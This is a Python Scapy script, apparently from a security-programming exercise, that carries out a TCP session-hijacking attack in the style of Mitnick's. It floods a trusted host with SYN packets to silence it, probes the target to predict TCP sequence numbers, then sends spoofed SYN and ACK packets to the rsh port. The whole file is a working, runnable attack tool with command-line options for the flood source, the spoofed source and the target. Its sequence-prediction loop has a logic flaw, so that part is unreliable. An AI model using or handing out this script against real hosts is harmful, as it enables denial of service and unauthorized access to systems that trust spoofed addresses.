# coding=UTF-8
import optparse
from scapy.all import *

def synFlood(src, tgt):
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)


def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0

    for x in range(1, 5):
        if preNum !=0:
            preNum = seqNum
        pkt = IP(dst=tgt) / TCP()
        ans = sr1(pkt, verbose=0)
        seqNum = ans.getlayer(TCP).seq
        diffSeq = seqNum - preNum
        print('[+] TCP Seq Difference: ' + str(diffSeq))
    return seqNum + diffSeq


#发送ACk欺骗包
def spoofConn(src, tgt, ack):
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514)
    synPkt = IPlayer / TCPlayer
    send(synPkt)
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514, ack=ack)
    ackPkt = IPlayer / TCPlayer
    send(ackPkt)

def main():
    parser = optparse.OptionParser('usage%prog -s<src for SYN Flood> -S <src for spoofed connection> -t<target address>')
    parser.add_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood')
    parser.add_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection')
    parser.add_option('-t', dest='tgt', type='string', help='specify target address')
    (options, args) = parser.parse_args()
    if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
        print(parser.usage)
        exit(0)
    else:
        synSpoof = options.synSpoof
        srcSpoof = options.srcSpoof
        tgt = options.tgt
    print('[+] Starting SYN Flood to suppress remote server.')
    synFlood(synSpoof, srcSpoof)
    print('[+] Calculating correct TCP Sequence Number.')
    seqNum = calTSN(tgt) + 1
    print('[+] Spoofing Connection.')
    spoofConn(srcSpoof, tgt, seqNum)
    print('[+] Done.')

if __name__ == '__main__':
    main()